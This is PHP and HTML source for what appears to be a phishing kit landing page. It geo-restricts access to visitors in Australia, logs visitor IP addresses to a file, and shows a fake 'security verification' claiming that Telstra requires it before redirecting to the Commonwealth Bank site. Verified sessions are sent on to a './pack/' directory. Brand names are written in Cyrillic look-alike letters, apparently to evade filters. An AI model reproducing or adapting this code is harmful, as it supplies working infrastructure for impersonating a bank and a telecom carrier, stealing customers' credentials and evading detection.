<?php
require "server.php";
function file_get_contents_curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}
function getRealIpAddr(){
 if (!empty($_SERVER['HTTP_CLIENT_IP'])){
      $ip=$_SERVER['HTTP_CLIENT_IP'];
 }elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
 }else{
      $ip=$_SERVER['REMOTE_ADDR'];
 }
  return $ip;
}
$realip=getRealIpAddr();
$json = file_get_contents_curl('http://www.geoplugin.net/json.gp?ip='.$realip);
$obj = json_decode($json);
$countryName=$obj->{'geoplugin_countryName'};
$countryCode=$obj->{'geoplugin_countryCode'};
$countryName = $obj->geoplugin_countryName;
$countryCode = $obj->geoplugin_countryCode;

if ($countryCode !== 'AU') {
    header_remove();
    header("HTTP/1.1 403 Forbidden");
    exit("Access denied");
}
$messageTxt  = "IP : ".$realip." | Country : ".$countryName."\n";
$xmyfile = fopen("Views.txt", "a+");
fwrite($xmyfile, $messageTxt);
fclose($xmyfile);

session_start();
// Prevent already verified users
if (isset($_SESSION['captcha_verified']) && $_SESSION['captcha_verified'] === true) {
    header('Location: ./pack/');
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Security Verification Check</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            background: #f7f7f7;
            font-family: Arial, sans-serif;
        }

        .captcha-container {
            background: white;
            padding: 2rem;
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.1);
            width: 90%;
            max-width: 400px;
            text-align: center;
        }

        .brand-message {
            color: #333;
            margin: 1rem 0;
            font-size: 0.9rem;
        }

        .logo-container {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 1rem;
            margin: 2rem 0;
        }

        .company-logo {
            height: 40px;
            width: auto;
        }

        .arrow {
            font-size: 24px;
            color: #666;
        }

        button[type="submit"] {
            background: #0d54ff;
            color: white;
            border: none;
            padding: 12px 24px;
            border-radius: 6px;
            cursor: pointer;
            font-size: 1rem;
            margin-top: 1rem;
            transition: background 0.3s ease;
        }

        button[type="submit"]:hover {
            background: #0a42cc;
        }

        .security-text {
            color: #666;
            font-size: 0.8rem;
            margin: 1.5rem 0;
            line-height: 1.5;
        }

        .error {
            color: #e74c3c;
            margin-top: 1rem;
            font-size: 0.9rem;
        }

        @media (max-width: 480px) {
            .captcha-container {
                padding: 1.5rem;
                margin: 1rem;
            }
            
            .company-logo {
                height: 35px;
            }
        }
    </style>
</head>
<body>
    <div class="captcha-container">
        <div class="logo-container">
            <img src="taxi.png" alt="Taxi Driver" class="company-logo" style="
    height: 60px;
">
            <span class="arrow">→</span>
            <img src="bbtaxi.png" alt="Taxi RR" class="company-logo" style="
    height: 60px;
">
        </div>

        <p class="security-text">
            This verification check is required by Теlѕtrа to securely redirect you 
            to the official Соmmоnwеаlth Ваnk wеbѕіtе. Please complete the security 
            check below to continue.
        </p>

        <h2>Security Verification Required</h2>
        
        <form action="verify.php" method="POST">
            <div class="h-captcha" 
                 data-sitekey="ea843642-f908-41a8-8564-9916fecea900"></div>
            <button type="submit">Соntіnuе tо СоmmВаnk</button>
        </form>

        <?php if (isset($_GET['error'])): ?>
            <p class="error">Verification failed. Please try again.</p>
        <?php endif; ?>
    </div>

    <script src="https://js.hcaptcha.com/1/api.js" async defer></script>
</body>
</html>